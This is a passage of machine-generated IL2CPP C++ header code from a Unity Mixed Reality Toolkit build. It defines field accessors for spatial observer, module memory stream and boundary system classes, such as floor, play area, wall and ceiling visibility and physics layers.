get_U3CStartupBehaviorU3Ek__BackingField_17() const { return ___U3CStartupBehaviorU3Ek__BackingField_17; } inline int32_t* get_address_of_U3CStartupBehaviorU3Ek__BackingField_17() { return &___U3CStartupBehaviorU3Ek__BackingField_17; } inline void set_U3CStartupBehaviorU3Ek__BackingField_17(int32_t value) { ___U3CStartupBehaviorU3Ek__BackingField_17 = value; } inline static int32_t get_offset_of_U3CDefaultPhysicsLayerU3Ek__BackingField_18() { return static_cast(offsetof(BaseSpatialObserver_tC4B00B85D6900BE7527DAE33EB4ACE2F86F1CD94, ___U3CDefaultPhysicsLayerU3Ek__BackingField_18)); } inline int32_t get_U3CDefaultPhysicsLayerU3Ek__BackingField_18() const { return ___U3CDefaultPhysicsLayerU3Ek__BackingField_18; } inline int32_t* get_address_of_U3CDefaultPhysicsLayerU3Ek__BackingField_18() { return &___U3CDefaultPhysicsLayerU3Ek__BackingField_18; } inline void set_U3CDefaultPhysicsLayerU3Ek__BackingField_18(int32_t value) { ___U3CDefaultPhysicsLayerU3Ek__BackingField_18 = value; } inline static int32_t get_offset_of_U3CIsRunningU3Ek__BackingField_19() { return static_cast(offsetof(BaseSpatialObserver_tC4B00B85D6900BE7527DAE33EB4ACE2F86F1CD94, ___U3CIsRunningU3Ek__BackingField_19)); } inline bool get_U3CIsRunningU3Ek__BackingField_19() const { return ___U3CIsRunningU3Ek__BackingField_19; } inline bool* get_address_of_U3CIsRunningU3Ek__BackingField_19() { return &___U3CIsRunningU3Ek__BackingField_19; } inline void set_U3CIsRunningU3Ek__BackingField_19(bool value) { ___U3CIsRunningU3Ek__BackingField_19 = value; } inline static int32_t get_offset_of_U3CIsStationaryObserverU3Ek__BackingField_20() { return static_cast(offsetof(BaseSpatialObserver_tC4B00B85D6900BE7527DAE33EB4ACE2F86F1CD94, ___U3CIsStationaryObserverU3Ek__BackingField_20)); } inline bool get_U3CIsStationaryObserverU3Ek__BackingField_20() const { return ___U3CIsStationaryObserverU3Ek__BackingField_20; } inline bool* get_address_of_U3CIsStationaryObserverU3Ek__BackingField_20() { return &___U3CIsStationaryObserverU3Ek__BackingField_20; } inline void set_U3CIsStationaryObserverU3Ek__BackingField_20(bool value) { ___U3CIsStationaryObserverU3Ek__BackingField_20 = value; } inline static int32_t get_offset_of_U3CObserverRotationU3Ek__BackingField_21() { return static_cast(offsetof(BaseSpatialObserver_tC4B00B85D6900BE7527DAE33EB4ACE2F86F1CD94, ___U3CObserverRotationU3Ek__BackingField_21)); } inline Quaternion_t6D28618CF65156D4A0AD747370DDFD0C514A31B4 get_U3CObserverRotationU3Ek__BackingField_21() const { return ___U3CObserverRotationU3Ek__BackingField_21; } inline Quaternion_t6D28618CF65156D4A0AD747370DDFD0C514A31B4 * get_address_of_U3CObserverRotationU3Ek__BackingField_21() { return &___U3CObserverRotationU3Ek__BackingField_21; } inline void set_U3CObserverRotationU3Ek__BackingField_21(Quaternion_t6D28618CF65156D4A0AD747370DDFD0C514A31B4 value) { ___U3CObserverRotationU3Ek__BackingField_21 = value; } inline static int32_t get_offset_of_U3CObserverOriginU3Ek__BackingField_22() { return static_cast(offsetof(BaseSpatialObserver_tC4B00B85D6900BE7527DAE33EB4ACE2F86F1CD94, ___U3CObserverOriginU3Ek__BackingField_22)); } inline Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E get_U3CObserverOriginU3Ek__BackingField_22() const { return ___U3CObserverOriginU3Ek__BackingField_22; } inline Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E * get_address_of_U3CObserverOriginU3Ek__BackingField_22() { return &___U3CObserverOriginU3Ek__BackingField_22; } inline void set_U3CObserverOriginU3Ek__BackingField_22(Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E value) { ___U3CObserverOriginU3Ek__BackingField_22 = value; } inline static int32_t get_offset_of_U3CObserverVolumeTypeU3Ek__BackingField_23() { return static_cast(offsetof(BaseSpatialObserver_tC4B00B85D6900BE7527DAE33EB4ACE2F86F1CD94, ___U3CObserverVolumeTypeU3Ek__BackingField_23)); } inline int32_t get_U3CObserverVolumeTypeU3Ek__BackingField_23() const { return ___U3CObserverVolumeTypeU3Ek__BackingField_23; } inline int32_t* get_address_of_U3CObserverVolumeTypeU3Ek__BackingField_23() { return &___U3CObserverVolumeTypeU3Ek__BackingField_23; } inline void set_U3CObserverVolumeTypeU3Ek__BackingField_23(int32_t value) { ___U3CObserverVolumeTypeU3Ek__BackingField_23 = value; } inline static int32_t get_offset_of_U3CObservationExtentsU3Ek__BackingField_24() { return static_cast(offsetof(BaseSpatialObserver_tC4B00B85D6900BE7527DAE33EB4ACE2F86F1CD94, ___U3CObservationExtentsU3Ek__BackingField_24)); } inline Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E get_U3CObservationExtentsU3Ek__BackingField_24() const { return ___U3CObservationExtentsU3Ek__BackingField_24; } inline Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E * get_address_of_U3CObservationExtentsU3Ek__BackingField_24() { return &___U3CObservationExtentsU3Ek__BackingField_24; } inline void set_U3CObservationExtentsU3Ek__BackingField_24(Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E value) { ___U3CObservationExtentsU3Ek__BackingField_24 = value; } inline static int32_t get_offset_of_U3CUpdateIntervalU3Ek__BackingField_25() { return static_cast(offsetof(BaseSpatialObserver_tC4B00B85D6900BE7527DAE33EB4ACE2F86F1CD94, ___U3CUpdateIntervalU3Ek__BackingField_25)); } inline float get_U3CUpdateIntervalU3Ek__BackingField_25() const { return ___U3CUpdateIntervalU3Ek__BackingField_25; } inline float* get_address_of_U3CUpdateIntervalU3Ek__BackingField_25() { return &___U3CUpdateIntervalU3Ek__BackingField_25; } inline void set_U3CUpdateIntervalU3Ek__BackingField_25(float value) { ___U3CUpdateIntervalU3Ek__BackingField_25 = value; } }; // System.Reflection.Assembly/UnmanagedMemoryStreamForModule struct UnmanagedMemoryStreamForModule_tC10833E557EAF63A4AC57F9B6236EE5EB769FF44 : public UnmanagedMemoryStream_tCF65E90F0047A6F54D79A6A5E681BC98AE6C2F62 { public: // System.Reflection.Module System.Reflection.Assembly/UnmanagedMemoryStreamForModule::module Module_tAAF0DBC4FB20AB46035441C66C41A8DB813C8CD7 * ___module_13; public: inline static int32_t get_offset_of_module_13() { return static_cast(offsetof(UnmanagedMemoryStreamForModule_tC10833E557EAF63A4AC57F9B6236EE5EB769FF44, ___module_13)); } inline Module_tAAF0DBC4FB20AB46035441C66C41A8DB813C8CD7 * get_module_13() const { return ___module_13; } inline Module_tAAF0DBC4FB20AB46035441C66C41A8DB813C8CD7 ** get_address_of_module_13() { return &___module_13; } inline void set_module_13(Module_tAAF0DBC4FB20AB46035441C66C41A8DB813C8CD7 * value) { ___module_13 = value; Il2CppCodeGenWriteBarrier((void**)(&___module_13), (void*)value); } }; // Microsoft.MixedReality.Toolkit.Boundary.BaseBoundarySystem struct BaseBoundarySystem_tB6D6CCB121D338F6DD9F5D12C401D1F347DBC85A : public BaseCoreSystem_tD92EF2BE9E8955487A46277A7C1C792EEAC43652 { public: // System.Boolean Microsoft.MixedReality.Toolkit.Boundary.BaseBoundarySystem::k__BackingField bool ___U3CIsXRDevicePresentU3Ek__BackingField_21; // Microsoft.MixedReality.Toolkit.Boundary.MixedRealityBoundaryVisualizationProfile Microsoft.MixedReality.Toolkit.Boundary.BaseBoundarySystem::k__BackingField MixedRealityBoundaryVisualizationProfile_tE067B54778DDA7D645CAE679F109AE611397A351 * ___U3CBoundaryProfileU3Ek__BackingField_22; // Microsoft.MixedReality.Toolkit.Boundary.BoundaryEventData Microsoft.MixedReality.Toolkit.Boundary.BaseBoundarySystem::boundaryEventData BoundaryEventData_tF3191826FD556ED99C56A8E197F3A32143415FA4 * ___boundaryEventData_23; // System.String Microsoft.MixedReality.Toolkit.Boundary.BaseBoundarySystem::k__BackingField String_t* ___U3CNameU3Ek__BackingField_24; // System.UInt32 Microsoft.MixedReality.Toolkit.Boundary.BaseBoundarySystem::k__BackingField uint32_t ___U3CSourceIdU3Ek__BackingField_26; // System.String Microsoft.MixedReality.Toolkit.Boundary.BaseBoundarySystem::k__BackingField String_t* ___U3CSourceNameU3Ek__BackingField_27; // UnityEngine.GameObject Microsoft.MixedReality.Toolkit.Boundary.BaseBoundarySystem::boundaryVisualizationParent GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * ___boundaryVisualizationParent_30; // System.Int32 Microsoft.MixedReality.Toolkit.Boundary.BaseBoundarySystem::ignoreRaycastLayerValue int32_t ___ignoreRaycastLayerValue_31; // Microsoft.MixedReality.Toolkit.Boundary.MixedRealityBoundaryVisualizationProfile Microsoft.MixedReality.Toolkit.Boundary.BaseBoundarySystem::boundaryVisualizationProfile MixedRealityBoundaryVisualizationProfile_tE067B54778DDA7D645CAE679F109AE611397A351 * ___boundaryVisualizationProfile_32; // Microsoft.MixedReality.Toolkit.Utilities.ExperienceScale Microsoft.MixedReality.Toolkit.Boundary.BaseBoundarySystem::k__BackingField int32_t ___U3CScaleU3Ek__BackingField_33; // System.Single Microsoft.MixedReality.Toolkit.Boundary.BaseBoundarySystem::k__BackingField float ___U3CBoundaryHeightU3Ek__BackingField_34; // System.Boolean Microsoft.MixedReality.Toolkit.Boundary.BaseBoundarySystem::showFloor bool ___showFloor_35; // System.Boolean Microsoft.MixedReality.Toolkit.Boundary.BaseBoundarySystem::showPlayArea bool ___showPlayArea_36; // System.Int32 Microsoft.MixedReality.Toolkit.Boundary.BaseBoundarySystem::floorPhysicsLayer int32_t ___floorPhysicsLayer_37; // System.Boolean Microsoft.MixedReality.Toolkit.Boundary.BaseBoundarySystem::showTrackedArea bool ___showTrackedArea_38; // System.Int32 Microsoft.MixedReality.Toolkit.Boundary.BaseBoundarySystem::playAreaPhysicsLayer int32_t ___playAreaPhysicsLayer_39; // System.Boolean Microsoft.MixedReality.Toolkit.Boundary.BaseBoundarySystem::showBoundaryWalls bool ___showBoundaryWalls_40; // System.Int32 Microsoft.MixedReality.Toolkit.Boundary.BaseBoundarySystem::trackedAreaPhysicsLayer int32_t ___trackedAreaPhysicsLayer_41; // System.Boolean Microsoft.MixedReality.Toolkit.Boundary.BaseBoundarySystem::showCeiling bool ___showCeiling_42; // System.Int32 Microsoft.MixedReality.Toolkit.Boundary.BaseBoundarySystem::boundaryWallsPhysicsLayer int32_t ___boundaryWallsPhysicsLayer_43; // System.Int32 Microsoft.MixedReality.Toolkit.Boundary.BaseBoundarySystem::ceilingPhysicsLayer int32_t ___ceilingPhysicsLayer_44; // Microsoft.MixedReality.Toolkit.Boundary.Edge[] Microsoft.MixedReality.Toolkit.Boundary.BaseBoundarySystem::k__BackingField EdgeU5BU5D_t11155979B4B93616C99DE0339151AC8B100D3D5D* ___U3CBoundsU3Ek__BackingField_45; // System.Nullable`1 Microsoft.MixedReality.Toolkit.Boundary.BaseBoundarySystem::k__BackingField Nullable_1_t0C4AC2E457C437FA106160547FD9BA5B50B1888A ___U3CFloorHeightU3Ek__BackingField_46; // Microsoft.MixedReality.Toolkit.Boundary.InscribedRectangle Microsoft.MixedReality.Toolkit.Boundary.BaseBoundarySystem::RectangularBounds InscribedRectangle_t2F2669C9A98C3392B287F0A382063A71E017C72C * ___RectangularBounds_47; // UnityEngine.GameObject Microsoft.MixedReality.Toolkit.Boundary.BaseBoundarySystem::currentFloorObject GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * ___currentFloorObject_48; // UnityEngine.GameObject Microsoft.MixedReality.Toolkit.Boundary.BaseBoundarySystem::currentPlayAreaObject GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * ___currentPlayAreaObject_49; // UnityEngine.GameObject Microsoft.MixedReality.Toolkit.Boundary.BaseBoundarySystem::currentTrackedAreaObject GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * ___currentTrackedAreaObject_50; // UnityEngine.GameObject Microsoft.MixedReality.Toolkit.Boundary.BaseBoundarySystem::currentBoundaryWallObject GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * ___currentBoundaryWallObject_51; // UnityEngine.GameObject Microsoft.MixedReality.Toolkit.Boundary.BaseBoundarySystem::currentCeilingObject GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * ___currentCeilingObject_52; public: inline static int32_t get_offset_of_U3CIsXRDevicePresentU3Ek__BackingField_21() { return static_cast(offsetof(BaseBoundarySystem_tB6D6CCB121D338F6DD9F5D12C401D1F347DBC85A, ___U3CIsXRDevicePresentU3Ek__BackingField_21)); } inline bool get_U3CIsXRDevicePresentU3Ek__BackingField_21() const { return ___U3CIsXRDevicePresentU3Ek__BackingField_21; } inline bool* get_address_of_U3CIsXRDevicePresentU3Ek__BackingField_21() { return &___U3CIsXRDevicePresentU3Ek__BackingField_21; } inline void set_U3CIsXRDevicePresentU3Ek__BackingField_21(bool value) { ___U3CIsXRDevicePresentU3Ek__BackingField_21 = value; } inline static int32_t get_offset_of_U3CBoundaryProfileU3Ek__BackingField_22() { return static_cast(offsetof(BaseBoundarySystem_tB6D6CCB121D338F6DD9F5D12C401D1F347DBC85A, ___U3CBoundaryProfileU3Ek__BackingField_22)); } inline MixedRealityBoundaryVisualizationProfile_tE067B54778DDA7D645CAE679F109AE611397A351 * get_U3CBoundaryProfileU3Ek__BackingField_22() const { return ___U3CBoundaryProfileU3Ek__BackingField_22; } inline MixedRealityBoundaryVisualizationProfile_tE067B54778DDA7D645CAE679F109AE611397A351 ** get_address_of_U3CBoundaryProfileU3Ek__BackingField_22() { return &___U3CBoundaryProfileU3Ek__BackingField_22; } inline void set_U3CBoundaryProfileU3Ek__BackingField_22(MixedRealityBoundaryVisualizationProfile_tE067B54778DDA7D645CAE679F109AE611397A351 * value) { ___U3CBoundaryProfileU3Ek__BackingField_22 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CBoundaryProfileU3Ek__BackingField_22), (void*)value); } inline static int32_t get_offset_of_boundaryEventData_23() { return static_cast(offsetof(BaseBoundarySystem_tB6D6CCB121D338F6DD9F5D12C401D1F347DBC85A, ___boundaryEventData_23)); } inline BoundaryEventData_tF3191826FD556ED99C56A8E197F3A32143415FA4 * get_boundaryEventData_23() const { return ___boundaryEventData_23; } inline BoundaryEventData_tF3191826FD556ED99C56A8E197F3A32143415FA4 ** get_address_of_boundaryEventData_23() { return &___boundaryEventData_23; } inline void set_boundaryEventData_23(BoundaryEventData_tF3191826FD556ED99C56A8E197F3A32143415FA4 * value) { ___boundaryEventData_23 = value; Il2CppCodeGenWriteBarrier((void**)(&___boundaryEventData_23), (void*)value); } inline static int32_t get_offset_of_U3CNameU3Ek__BackingField_24() { return static_cast(offsetof(BaseBoundarySystem_tB6D6CCB121D338F6DD9F5D12C401D1F347DBC85A, ___U3CNameU3Ek__BackingField_24)); } inline String_t* get_U3CNameU3Ek__BackingField_24() const { return ___U3CNameU3Ek__BackingField_24; } inline String_t** get_address_of_U3CNameU3Ek__BackingField_24() { return &___U3CNameU3Ek__BackingField_24; } inline void set_U3CNameU3Ek__BackingField_24(String_t* value) { ___U3CNameU3Ek__BackingField_24 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CNameU3Ek__BackingField_24), (void*)value); } inline static int32_t get_offset_of_U3CSourceIdU3Ek__BackingField_26() { return static_cast(offsetof(BaseBoundarySystem_tB6D6CCB121D338F6DD9F5D12C401D1F347DBC85A, ___U3CSourceIdU3Ek__BackingField_26)); } inline uint32_t get_U3CSourceIdU3Ek__BackingField_26() const { return ___U3CSourceIdU3Ek__BackingField_26; } inline uint32_t* get_address_of_U3CSourceIdU3Ek__BackingField_26() { return &___U3CSourceIdU3Ek__BackingField_26; } inline void set_U3CSourceIdU3Ek__BackingField_26(uint32_t value) { ___U3CSourceIdU3Ek__BackingField_26 = value; } inline static int32_t get_offset_of_U3CSourceNameU3Ek__BackingField_27() { return static_cast(offsetof(BaseBoundarySystem_tB6D6CCB121D338F6DD9F5D12C401D1F347DBC85A, ___U3CSourceNameU3Ek__BackingField_27)); } inline String_t* get_U3CSourceNameU3Ek__BackingField_27() const { return ___U3CSourceNameU3Ek__BackingField_27; } inline String_t** get_address_of_U3CSourceNameU3Ek__BackingField_27() { return &___U3CSourceNameU3Ek__BackingField_27; } inline void set_U3CSourceNameU3Ek__BackingField_27(String_t* value) { ___U3CSourceNameU3Ek__BackingField_27 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CSourceNameU3Ek__BackingField_27), (void*)value); } inline static int32_t get_offset_of_boundaryVisualizationParent_30() { return static_cast(offsetof(BaseBoundarySystem_tB6D6CCB121D338F6DD9F5D12C401D1F347DBC85A, ___boundaryVisualizationParent_30)); } inline GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * get_boundaryVisualizationParent_30() const { return ___boundaryVisualizationParent_30; } inline GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 ** get_address_of_boundaryVisualizationParent_30() { return &___boundaryVisualizationParent_30; } inline void set_boundaryVisualizationParent_30(GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * value) { ___boundaryVisualizationParent_30 = value; Il2CppCodeGenWriteBarrier((void**)(&___boundaryVisualizationParent_30), (void*)value); } inline static int32_t get_offset_of_ignoreRaycastLayerValue_31() { return static_cast(offsetof(BaseBoundarySystem_tB6D6CCB121D338F6DD9F5D12C401D1F347DBC85A, ___ignoreRaycastLayerValue_31)); } inline int32_t get_ignoreRaycastLayerValue_31() const { return ___ignoreRaycastLayerValue_31; } inline int32_t* get_address_of_ignoreRaycastLayerValue_31() { return &___ignoreRaycastLayerValue_31; } inline void set_ignoreRaycastLayerValue_31(int32_t value) { ___ignoreRaycastLayerValue_31 = value; } inline static int32_t get_offset_of_boundaryVisualizationProfile_32() { return static_cast(offsetof(BaseBoundarySystem_tB6D6CCB121D338F6DD9F5D12C401D1F347DBC85A, ___boundaryVisualizationProfile_32)); } inline MixedRealityBoundaryVisualizationProfile_tE067B54778DDA7D645CAE679F109AE611397A351 * get_boundaryVisualizationProfile_32() const { return ___boundaryVisualizationProfile_32; } inline MixedRealityBoundaryVisualizationProfile_tE067B54778DDA7D645CAE679F109AE611397A351 ** get_address_of_boundaryVisualizationProfile_32() { return &___boundaryVisualizationProfile_32; } inline void set_boundaryVisualizationProfile_32(MixedRealityBoundaryVisualizationProfile_tE067B54778DDA7D645CAE679F109AE611397A351 * value) { ___boundaryVisualizationProfile_32 = value; Il2CppCodeGenWriteBarrier((void**)(&___boundaryVisualizationProfile_32), (void*)value); } inline static int32_t get_offset_of_U3CScaleU3Ek__BackingField_33() { return static_cast(offsetof(BaseBoundarySystem_tB6D6CCB121D338F6DD9F5D12C401D1F347DBC85A, ___U3CScaleU3Ek__BackingField_33)); } inline int32_t get_U3CScaleU3Ek__BackingField_33() const { return ___U3CScaleU3Ek__BackingField_33; } inline int32_t* get_address_of_U3CScaleU3Ek__BackingField_33() { return &___U3CScaleU3Ek__BackingField_33; } inline void set_U3CScaleU3Ek__BackingField_33(int32_t value) { ___U3CScaleU3Ek__BackingField_33 = value; } inline static int32_t get_offset_of_U3CBoundaryHeightU3Ek__BackingField_34() { return static_cast(offsetof(BaseBoundarySystem_tB6D6CCB121D338F6DD9F5D12C401D1F347DBC85A, ___U3CBoundaryHeightU3Ek__BackingField_34)); } inline float get_U3CBoundaryHeightU3Ek__BackingField_34() const { return ___U3CBoundaryHeightU3Ek__BackingField_34; } inline float* get_address_of_U3CBoundaryHeightU3Ek__BackingField_34() { return &___U3CBoundaryHeightU3Ek__BackingField_34; } inline void set_U3CBoundaryHeightU3Ek__BackingField_34(float value) { ___U3CBoundaryHeightU3Ek__BackingField_34 = value; } inline static int32_t get_offset_of_showFloor_35() { return static_cast(offsetof(BaseBoundarySystem_tB6D6CCB121D338F6DD9F5D12C401D1F347DBC85A, ___showFloor_35)); } inline bool get_showFloor_35() const { return ___showFloor_35; } inline bool* get_address_of_showFloor_35() { return &___showFloor_35; } inline void set_showFloor_35(bool value) { ___showFloor_35 = value; } inline static int32_t get_offset_of_showPlayArea_36() { return static_cast(offsetof(BaseBoundarySystem_tB6D6CCB121D338F6DD9F5D12C401D1F347DBC85A, ___showPlayArea_36)); } inline bool get_showPlayArea_36() const { return ___showPlayArea_36; } inline bool* get_address_of_showPlayArea_36() { return &___showPlayArea_36; } inline void set_showPlayArea_36(bool value) { ___showPlayArea_36 = value; } inline static int32_t get_offset_of_floorPhysicsLayer_37() { return static_cast(offsetof(BaseBoundarySystem_tB6D6CCB121D338F6DD9F5D12C401D1F347DBC85A, ___floorPhysicsLayer_37)); } inline int32_t get_floorPhysicsLayer_37() const { return ___floorPhysicsLayer_37; } inline int32_t* get_address_of_floorPhysicsLayer_37() { return &___floorPhysicsLayer_37; } inline void set_floorPhysicsLayer_37(int32_t value) { ___floorPhysicsLayer_37 = value; } inline static int32_t get_offset_of_showTrackedArea_38() { return static_cast(offsetof(BaseBoundarySystem_tB6D6CCB121D338F6DD9F5D12C401D1F347DBC85A, ___showTrackedArea_38)); } inline bool get_showTrackedArea_38() const { return ___showTrackedArea_38; } inline bool* get_address_of_showTrackedArea_38() { return &___showTrackedArea_38; } inline void set_showTrackedArea_38(bool value) { ___showTrackedArea_38 = value; } inline static int32_t get_offset_of_playAreaPhysicsLayer_39() { return static_cast(offsetof(BaseBoundarySystem_tB6D6CCB121D338F6DD9F5D12C401D1F347DBC85A, ___playAreaPhysicsLayer_39)); } inline int32_t get_playAreaPhysicsLayer_39() const { return ___playAreaPhysicsLayer_39; } inline int32_t* get_address_of_playAreaPhysicsLayer_39() { return &___playAreaPhysicsLayer_39; } inline void set_playAreaPhysicsLayer_39(int32_t value) { ___playAreaPhysicsLayer_39 = value; } inline static int32_t get_offset_of_showBoundaryWalls_40() { return static_cast(offsetof(BaseBoundarySystem_tB6D6CCB121D338F6DD9F5D12C401D1F347DBC85A, ___showBoundaryWalls_40)); } inline bool get_showBoundaryWalls_40() const { return ___showBoundaryWalls_40; } inline bool* get_address_of_showBoundaryWalls_40() { return &___showBoundaryWalls_40; } inline void set_showBoundaryWalls_40(bool value) { ___showBoundaryWalls_40 = value; } inline static int32_t get_offset_of_trackedAreaPhysicsLayer_41() { return static_cast(offsetof(BaseBoundarySystem_tB6D6CCB121D338F6DD9F5D12C401D1F347DBC85A, ___trackedAreaPhysicsLayer_41)); } inline int32_t get_trackedAreaPhysicsLayer_41() const { return ___trackedAreaPhysicsLayer_41; } inline int32_t* get_address_of_trackedAreaPhysicsLayer_41() { return &___trackedAreaPhysicsLayer_41; } inline void set_trackedAreaPhysicsLayer_41(int32_t value) { ___trackedAreaPhysicsLayer_41 = value; } inline static int32_t get_offset_of_showCeiling_42() { return static_cast(offsetof(BaseBoundarySystem_tB6D6CCB121D338F6DD9F5D12C401D1F347DBC85A, ___showCeiling_42)); } inline bool get_showCeiling_42() const { return ___showCeiling_42; } inline bool* get_address_of_showCeiling_42() { return &___showCeiling_42; } inline void set_showCeiling_42(bool value) { ___showCeiling_42 = value; } inline static int32_t get_offset_of_boundaryWallsPhysicsLayer_43() { return static_cast(offsetof(BaseBoundarySystem_tB6D6CCB121D338F6DD9F5D12C401D1F347DBC85A, ___boundaryWallsPhysicsLayer_43)); } inline int32_t get_boundaryWallsPhysicsLayer_43() const { return ___boundaryWallsPhysicsLayer_43; } inline int32_t* get_address_of_boundaryWallsPhysicsLayer_43() { return &___boundaryWallsPhysicsLayer_43; } inline void set_boundaryWallsPhysicsLayer_43(int32_t value) { ___boundaryWallsPhysicsLayer_43 = value; } inline static int32_t get_offset_of_ceilingPhysicsLayer_44() { return static_cast(offsetof(BaseBoundarySystem_tB6D6CCB121D338F6DD9F5D12C401D1F347DBC85A, ___ceilingPhysicsLayer_44)); } inline int32_t get_ceilingPhysicsLayer_44() const { return ___ceilingPhysicsLayer_44; } inline int32_t* get_address_of_ceilingPhysicsLayer_44() { return &___ceilingPhysicsLayer_44; } inline void set_ceilingPhysicsLayer_44(int32_t value) { ___ceilingPhysicsLayer_44 = value; } inline static int32_t get_offset_of_U3CBoundsU3Ek__BackingField_45() { return static_cast(offsetof(BaseBoundarySystem_tB6D6CCB121D338F6DD9F5D12C401D1F347DBC85A, ___U3CBoundsU3Ek__BackingField_45)); } inline EdgeU5BU5D_t11155979B4B93616C99DE0339151AC8B100D3D5D* get_U3CBoundsU3Ek__BackingField_45() const { return ___U3CBoundsU3Ek__BackingField_45; } inline EdgeU5BU5D_t11155979B4B93616C99DE0339151AC8B100D3D5D** get_address_of_U3CBoundsU3Ek__BackingField_45() { return &___U3CBoundsU3Ek__BackingField_45; } inline void set_U3CBoundsU3Ek__BackingField_45(EdgeU5BU5D_t11155979B4B93616C99DE0339151AC8B100D3D5D* value) { ___U3CBoundsU3Ek__BackingField_45 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CBoundsU3Ek__BackingField_45), (void*)value); } inline static int32_t get_offset_of_U3CFloorHeightU3Ek__BackingField_46() { return static_cast(offsetof(BaseBoundarySystem_tB6D6CCB121D338F6DD9F5D12C401D1F347DBC85A, ___U3CFloorHeightU3Ek__BackingField_46)); } inline Nullable_1_t0C4AC2E457C437FA106160547FD9BA5B50B1888A get_U3CFloorHeightU3Ek__BackingField_46() const { return ___U3CFloorHeightU3Ek__BackingField_46; } inline Nullable_1_t0C4AC2E457C437FA106160547FD9BA5B50B1888A * get_address_of_U3CFloorHeightU3Ek__BackingField_46() { return &___U3CFloorHeightU3Ek__BackingField_46; } inline void set_U3CFloorHeightU3Ek__BackingField_46(Nullable_1_t0C4AC2E457C437FA106160547FD9BA5B50B1888A value) { ___U3CFloorHeightU3Ek__BackingField_46 = value; } inline static int32_t get_offset_of_RectangularBounds_47() { return static_cast(offsetof(BaseBoundarySystem_tB6D6CCB121D338F6DD9F5D12C401D1F347DBC85A, ___RectangularBounds_47)); } inline InscribedRectangle_t2F2669C9A98C3392B287F0A382063A71E017C72C * get_RectangularBounds_47() const { return ___RectangularBounds_47; } inline InscribedRectangle_t2F2669C9A98C3392B287F0A382063A71E017C72C ** get_address_of_RectangularBounds_47() { return &___RectangularBounds_47; } inline void set_RectangularBounds_47(InscribedRectangle_t2F2669C9A98C3392B287F0A382063A71E017C72C * value) { ___RectangularBounds_47 = value; Il2CppCodeGenWriteBarrier((void**)(&___RectangularBounds_47), (void*)value); } inline static int32_t get_offset_of_currentFloorObject_48() { return static_cast(offsetof(BaseBoundarySystem_tB6D6CCB121D338F6DD9F5D12C401D1F347DBC85A, ___currentFloorObject_48)); } inline GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * get_currentFloorObject_48() const { return ___currentFloorObject_48; } inline GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 ** get_address_of_currentFloorObject_48() { return &___currentFloorObject_48; } inline void set_currentFloorObject_48(GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * value) { ___currentFloorObject_48 = value; Il2CppCodeGenWriteBarrier((void**)(&___currentFloorObject_48), (void*)value); } inline static int32_t get_offset_of_currentPlayAreaObject_49() { return static_cast(offsetof(BaseBoundarySystem_tB6D6CCB121D338F6DD9F5D12C401D1F347DBC85A, ___currentPlayAreaObject_49)); } inline GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * get_currentPlayAreaObject_49() const { return ___currentPlayAreaObject_49; } inline GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 ** get_address_of_currentPlayAreaObject_49() { return &___currentPlayAreaObject_49; } inline void set_currentPlayAreaObject_49(GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * value) { ___currentPlayAreaObject_49 = value; Il2CppCodeGenWriteBarrier((void**)(&___currentPlayAreaObject_49), (void*)value); } inline static int32_t get_offset_of_currentTrackedAreaObject_50() { return static_cast(offsetof(BaseBoundarySystem_tB6D6CCB121D338F6DD9F5D12C401D1F347DBC85A, ___currentTrackedAreaObject_50)); } inline GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * get_currentTrackedAreaObject_50() const { return ___currentTrackedAreaObject_50; } inline GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 ** get_address_of_currentTrackedAreaObject_50() { return &___currentTrackedAreaObject_50; } inline void set_currentTrackedAreaObject_50(GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * value) { ___currentTrackedAreaObject_50 = value; Il2CppCodeGenWriteBarrier((void**)(&___currentTrackedAreaObject_50), (void*)value); } inline static int32_t get_offset_of_currentBoundaryWallObject_51() { return static_cast(offsetof(BaseBoundarySystem_tB6D6CCB121D338F6DD9F5D12C401D1F347DBC85A, ___currentBoundaryWallObject_51)); } inline GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * get_currentBoundaryWallObject_51() const { return ___currentBoundaryWallObject_51; } inline GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 ** get_address_of_currentBoundaryWallObject_51() { return &___currentBoundaryWallObject_51; } inline void set_currentBoundaryWallObject_51(GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * value) { ___currentBoundaryWallObject_51 = value; Il2CppCodeGenWriteBarrier((void**)(&___currentBoundaryWallObject_51), (void*)value); } inline static int32_t get_offset_of_currentCeilingObject_52() { return static_cast(offsetof(BaseBoundarySystem_tB6D6CCB121D338F6DD9F5D12C401D1F347DBC85A, ___currentCeilingObject_52)); } inline GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * get_currentCeilingObject_52() const { return ___currentCeilingObject_52; } inline GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 ** get_address_of_currentCeilingObject_52() { return &___currentCeilingObject_52; } inline void 